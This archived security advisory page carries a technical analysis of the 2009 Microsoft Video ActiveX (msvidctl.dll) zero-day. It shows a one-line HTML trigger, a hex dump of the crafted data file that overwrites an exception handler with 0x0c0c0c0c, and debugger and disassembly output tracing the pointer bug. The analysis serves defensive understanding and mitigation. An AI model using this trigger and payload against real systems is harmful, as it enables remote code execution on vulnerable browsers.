exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Microsoft Video Active-X 0-Day Details

Microsoft Video Active-X 0-Day Details
Posted Jul 10, 2009
Authored by Cody Pierce | Site tippingpoint.com

This is a complete write up discussing the technical details of the Microsoft Video Active-X control zero day vulnerability.

tags | advisory, activex
SHA-256 | 401a2d9b81eefa2c0c2ac392f7747f6168424ac4ad379b26e2a21835f1f2fa65

Microsoft Video Active-X 0-Day Details

Change Mirror Download
 Microsoft Video ActiveX Control 0day Technical Details

* By Cody Pierce
* Thu 09 Jul 2009 18:09pm

As reports came out regarding the new Microsoft 0day[1] in msvidctl.dll I started to take interest, as information about the specifics of the vulnerability were nonexistent. I was curious about the origin of the issue, what is required to trigger it, whether it is only present in the MPEG2TuneRequest interface, and what other CLSIDs may be affected (besides the 40+ they kill in their advisory). When dealing with 0day we must be aware of very specific details of a vulnerability so we can properly protect ourselves.

Grabbing a copy of the exploit from one of the many sites publicly reporting the issue I narrowed down the needed html to trigger the vulnerability.

var myObject=document.createElement('object');



Everything else in the exploit is unrelated to the actual vulnerability. The heap fill is for exploitation, and the height and width properties are unnecessary. This can also be written using a single line of html.

<object classid="clsid:0369B4E6-45B6-11D3-B650-00C04F79498E" data="logo.gif" />

Let's take a look at what the data property is since it appears to be responsible for triggering the vulnerability. From the w3c HTML 4.0 documentation[2].

<!ELEMENT OBJECT - - (PARAM | %flow;)*

-- generic embedded object -->


data %URI; #IMPLIED -- reference to object's data --


The data property is used to specify a URL to the object's persistent data. In the exploit it is named "logo.gif", but in reality it can be named anything, and does not follow any particular file format. Instead, it contains data the object can reference upon instantiation. This feature exists so programmers can save and restore data to an object across uses. The contents of this file follow.

0000h 00 03 00 00 11 20 34 00 00 00 00 00 00 00 00 00

0010h 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

0020h 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

0030h 00 00 00 00 00 00 FF FF FF FF 0C 0C 0C 0C 00

We can infer, before we even run the exploit, that the problem is in the handling of this data. We can verify this by running the PoC with a debugger attached to Internet Explorer.

(7ec.2e0): Access violation - code c0000005 (first chance)

First chance exceptions are reported before any exception handling.

This exception may be expected and handled.

eax=00000000 ebx=00000000 ecx=0c0c0c0c edx=7c9032bc esi=00000000 edi=00000000

eip=0c0c0c0c esp=018a8de8 ebp=018a8e08 iopl=0 nv up ei pl zr na pe nc

cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246


0c0c0c0c ?? ???

0:005> !exchain

018a91dc: <Unloaded_ta.dll>+c0c0c0b (0c0c0c0c)

Invalid exception stack at ffffffff

0:005> dc 018a91dc L2

018a91dc ffffffff 0c0c0c0c ........

Looking again at the data we supply to the myObject.data property we can deduce that the bytes from offset 0x36 are used to overwrite an exception chain entry, allowing for code execution. But is this a stack overflow? Short answer kind of, but not like you may be thinking.

The vulnerability lies in the ATL template interface IPersistStreamInit[3], specifically the Load method. Without going into excruciating detail the class allows a developer to use persistent storage in their COM object. By implementing this interface the COM object can save and load persistent data passed by URL to the <object>.data property.

Since the vulnerability is in the template, other interfaces (and CLSID's) might be vulnerable besides the one being exploited in the wild. The following lists those CLSIDs using this vulnerable template within msvidctl.dll. Please note that this template might be used in other controls outside of msvidctl.dll.






















Microsoft has taken extra steps to fix the issue by providing a comprehensive list of CLSIDs that should be prevented from loading in the browser. This list can be found in their advisory and Fix It packages and includes my list above amongst others. We talked to Microsoft and they confirmed that the advisory and Fix It package both cover all known CLSIDs that can reach code in a vulnerable manner.

As mentioned the problem manifests itself within the Load method of the interface. The Load method has the following prototype.


AtlIPersistStreamInit_Load( LPSTREAM ppvData,


void *pThis,

IUnknown *pUnk)

The function first reads 4 bytes from the stream pointer, which returns the 0x00000300 from our file and ensures it is not greater than 0x0300. This tells us the first 4 bytes in the persistent data ("logo.gif") can be anything less than that value. We then process the ATL::ATL_PROPMAP_ENTRY of the implementor's interface, finally resulting in the following code.

.text:5A1BD4CE push [ebp+ppvData]

.text:5A1BD4D1 lea ecx, [ebp+pvarg]

.text:5A1BD4D4 call ATL::CComVariant::ReadFromStream(IStream *)

ReadFromStream will take a stream object and read the contents based on their variant type[4], and associated data. This begins by reading the variant type from the next 2 bytes of our data file (0x2011 = VT_ARRAY & VT_BOOL). We then branch to the proper code for handling arrays of booleans.

.text:5A1BD6DC cmp eax, 2011h

.text:5A1BD6E1 jnz loc_5A1BD76B ; default

Since the vulnerable code is only reachable when processing this data type we can be assured it is a good indication the vulnerability will be triggered. The code responsible for this type then reads 8 more bytes from our stream (0x00000000000000034) and calls SafeArrayCreate[5] with 0x00000034 as the size of an element in the array.

Finally we reach the following two basic blocks

.text:5A1BD732 lea eax, [ebp+ppvData]

.text:5A1BD735 push eax ; ppvData

.text:5A1BD736 push ebx ; psa

.text:5A1BD737 call ds:SafeArrayAccessData(x,x)

.text:5A1BD73D test eax, eax

.text:5A1BD73F jl short loc_5A1BD7BD

.text:5A1BD741 mov eax, [edi]

.text:5A1BD743 push 0

.text:5A1BD745 push [ebp+var_28_array_size]

.text:5A1BD748 lea ecx, [ebp+ppvData]

.text:5A1BD74B push ecx

.text:5A1BD74C push edi

.text:5A1BD74D call dword ptr [eax+0Ch] ; mshtml!FatStream::Read

In the first basic block we see the use of our stream pointer *correctly*. The function SafeArrayAccessData takes a pointer to a pointer. We see the address of our argument being loaded into eax which will then get double dereferenced by the function.

What happens in the vulnerable basic block starting at 0x5A1BD741 is a programmer's error. The programmer mistakenly thought the mshtml!FatStream::Read function needs a pointer to a pointer like SafeArrayAccessData, when in fact it just needs a single pointer. This means our data is getting written to the stack, instead of being written to the allocated space the pointer points to. Let's look at this in motion.

5a1bd743 push 0

5a1bd745 push dword ptr [ebp-28h] ss:0023:018a9184=00000034

5a1bd748 lea ecx,[ebp+8]

5a1bd74b push ecx ; ecx=018a91b4

5a1bd74c push edi

5a1bd74d call dword ptr [eax+0Ch] ds:0023:3ed10fb8={mshtml!FatStream::Read (3ed9c14b)}

We can see our data at ecx contains a pointer that is supposed to be dereferenced.

0:005> dc 018a91b4

018a91b4 00232878* 5a19d094 5a19d094 5a2a1ec8 x(#....Z...Z..*Z

018a91c4 00002011 00000000 00000000 00000000 . ..............

018a91d4 5a2a1f28 00000000 018a9228 5a27730e (.*Z....(....s'Z

018a91e4 00000001 018a9234 5a1bd46e 02249e10 ....4...n..Z..$.

Before we execute FatStream::Read lets examine the SEH chain.

0:005> !exchain

018a91a0: msvidctl!SHATransformNS+1265 (5a277325)

018a91dc: msvidctl!SHATransformNS+124e (5a27730e)

018a9228: msvidctl!SHATransformNS+124e (5a27730e)


Because each function we enter adds a new exception handler on the stack via a call to __EH_prolog we are only 0x28 bytes from overwriting the second exception handler 0x018a91dc. We can guess how this will unfold once we step over the Read.

5a1bd74d call dword ptr [eax+0Ch] ds:0023:3ed10fb8={mshtml!FatStream::Read (3ed9c14b)}

5a1bd750 push ebx

0:005> dc 018a91b4

018a91b4 00000000 00000000 00000000 00000000 ................

018a91c4 00000000 00000000 00000000 00000000 ................

018a91d4 00000000 00000000 ffffffff 0c0c0c0c ................

0:005> !exchain

018a91a0: msvidctl!SHATransformNS+1265 (5a277325)

018a91dc: <Unloaded_sspc.dll>+c0c0c0b (0c0c0c0c) <--- User Data

The user controlled file supplied as persistent storage has been copied to the stack ultimately overwriting an exception handler. This is where arbitrary code execution is gained. By writing a heap fillable address to the SEH chain the attacker simply stuffs shellcode into Internet Explorer's memory, executing it with great reliability.

This is not your typical stack overflow vulnerability. What we see here is the improper use of a pointer argument to a function that unfortunately results in remote code execution. Maybe the programmer responsible for this error had a long night, or maybe it's a simple typo.

I hope this has been helpful and technically interesting. Please go out and kill-bit Microsoft's suggested class ids.



[1] http://www.microsoft.com/technet/security/advisory/972890.mspx
[2] http://www.w3.org/TR/1998/REC-html40-19980424/struct/objects.html#h-13.3
[3] http://msdn.microsoft.com/en-us/library/ms682273%28VS.85%29.aspx
[4] http://msdn.microsoft.com/en-us/library/ms897140.aspx
[5] http://msdn.microsoft.com/en-us/library/ms893380.aspx
Published On: 2009-07-09 18:09:06
Login or Register to add favorites

File Archive:

June 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jun 1st
    0 Files
  • 2
    Jun 2nd
    0 Files
  • 3
    Jun 3rd
    18 Files
  • 4
    Jun 4th
    21 Files
  • 5
    Jun 5th
    0 Files
  • 6
    Jun 6th
    57 Files
  • 7
    Jun 7th
    6 Files
  • 8
    Jun 8th
    0 Files
  • 9
    Jun 9th
    0 Files
  • 10
    Jun 10th
    12 Files
  • 11
    Jun 11th
    27 Files
  • 12
    Jun 12th
    38 Files
  • 13
    Jun 13th
    16 Files
  • 14
    Jun 14th
    14 Files
  • 15
    Jun 15th
    0 Files
  • 16
    Jun 16th
    0 Files
  • 17
    Jun 17th
    0 Files
  • 18
    Jun 18th
    0 Files
  • 19
    Jun 19th
    0 Files
  • 20
    Jun 20th
    0 Files
  • 21
    Jun 21st
    0 Files
  • 22
    Jun 22nd
    0 Files
  • 23
    Jun 23rd
    0 Files
  • 24
    Jun 24th
    0 Files
  • 25
    Jun 25th
    0 Files
  • 26
    Jun 26th
    0 Files
  • 27
    Jun 27th
    0 Files
  • 28
    Jun 28th
    0 Files
  • 29
    Jun 29th
    0 Files
  • 30
    Jun 30th
    0 Files

Top Authors In Last 30 Days

File Tags


packet storm

© 2022 Packet Storm. All rights reserved.

Security Services
Hosting By